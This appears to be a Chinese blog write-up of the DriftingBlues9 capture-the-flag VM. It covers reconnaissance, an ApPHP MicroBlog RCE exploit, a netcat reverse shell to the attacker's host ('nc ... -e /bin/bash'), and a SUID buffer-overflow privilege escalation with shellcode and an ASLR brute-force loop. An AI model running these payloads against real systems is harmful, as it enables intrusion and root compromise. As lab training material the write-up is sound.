发布于 

driftingblues9 靶机渗透

driftingblues9 靶机渗透

driftingblues9 靶机,修改主机网络模式为 NAT 1.

1. 信息收集

1.1 发现主机

IP arp-scan -l
Interface: eth0,
type: EN10MB, 
MAC: 00:0c:29:c7:c5:6f, 
IPv4: 192.168.220.150 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.220.2 
                                                              00:50:56:e1:fd:fa VMware, Inc. 192.168.220.199 00:0c:29:49:09:17 VMware, Inc. 192.168.220.254 00:50:56:e8:5a:d3 VMware, Inc.

1.2 端口扫描

可以发现有 3 个端口开放,80,111,57955

2. 威胁建模与漏洞分析

2.1 80 端口网站

访问网站

可以看到是 wordpress 系统
目录扫描:
gobuster
dir
--url
192.168.220.199
-x
html,txt,zip,php,bak
--wordlist=/usr/share/wordlists/dirb/common.txt

没发现太有价值的信息
查看标题是 ApPHP MicroBlog,搜索相关漏洞,可以发现存在漏洞

可以发现有漏洞,但是不清楚当前 CMS 是什么版本,继续换字典目录扫描:

gobuster
dir
--url
192.168.220.199
-x
html,txt,zip,php,bak
--wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

发现一个文件:INSTALL.txt,可以发现版本信息

还发现一个目录,里面有一个文件:


可以发现账号密码信息: _USER_NAME_ _USER_PASSWORD_ 尝试后台登陆失败

3. 漏洞利用

3.1 利用 RCE 漏洞获取 webshell

版本确定:1.0.1 可以发现有一个 RCE 漏洞

将其复制到当前目录:

searchsploit -m php/webapps/33070.py

运行程序:
python2 33070.py http://192.168.220.199/index.php

3.2 信息收集获取用户 shell

得到 shell 之后,会展示出数据库配置文件,对比 Home 目录下的用户名,可以发现两者一致,可能密码就是这个密码:
用户名:clapton
密码:yaraklitepe

在 kali 开启 nc 监听:nc -nlvp 1234
在目标机器上查看是否有 nc

使用 nc 反弹 shell:

nc 192.168.220.150 1234 -e /bin/bash

之后使用 python 切换到 bash:

python -c 'import pty;pty.spawn("/bin/bash")'

尝试切换用户 clapton,密码 yaraklitepe 成功切换

查看 home 目录用户文件夹的信息

可以看到一个提示信息,是缓冲区溢出

4. 权限提升

4.1 缓冲区溢出提权

查看当前目录下文件:

发现 input 有 suid 权限,查看文件类型

是 32 位程序
缓冲区溢出需要找出溢出点
使用 msf 中的工具 msf-pattern_create 生成随机字符(4 字节不重复)

msf-pattern_create -l 2000

使用 gdb 进行动态调试:gdb -q input,进入调试器之后,使用 r 命令读取随机字符串

按回车,可以发现程序崩溃,也就是缓冲区溢出了,错误信息是程序地址 eip 被改成了0x41376641

使用 kali 工具 msf-pattern_offset 寻找被改地址的偏移

msf-pattern_offset -l 2000 -q 41376641

重新构造字符串,验证被改地址(这个地址需要精准覆盖为 jmp esp 地址)

验证:
使用 python 创建语句,输入包括具有 171 个 A, 4 个 B 和 500 个\x90 的简单输入。

gdb -q input
r $(python2 -c 'print "A" * 171 + "B" * 4 + "\x90" * 500')

可以发现地址中是 4 个"B" ,eip 寄存器被修改为了 0x42424242

查看此时 esp 寄存器,将其转为大端方式替换上面的 4 个"B"


大端方式:b09cf5bf

gdb -q input
r $(python2 -c 'print "A" * 171 + "\xb0\x9c\xf5\xbf" + "\x90" * 500')

查看目标机器是否开启地址随机化(ASLR)

cat /proc/sys/kernel/randomize_va_space

目标上启用了 ASLR ( Address Space Layout Randomization,地址空间布局随机化。)

1:没有随机化。即关闭 ASLR。
2:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
3:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。

生成单次执行 payload,使用的是 Linux/x86 - execve(/bin/sh) + NOT Encoded Shellcode (27 bytes)的 `payload

python -c 'print "A" * 171 + "\xb0\x9c\xf5\xbf" + "\x90" * 2000 +\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')

因为靶机开启了 ASLR,因此,我们必须多次迭代相同的代码行。

for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\xb0\x9c\xf5\xbf"+""\x90"*2000+\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done

5. 小结

本节通过访问网站目录扫描等方式收集信息,进而获取网站系统版本信息,之后通过搜索对应漏洞,完成 RCE 漏洞利用获取 shell,然后通过信息收集获取用户 shell,最后自己构造payload 使用缓冲区溢出漏洞溢出提权。前面获取 shell 比较简单,难点在于最后提权

  1. 目录扫描 gobuster
  2. 信息收集获取敏感文件
  3. searchsploit 工具的用法
  4. RCE 漏洞利用
  5. 自己构造 payload 缓冲区漏洞提权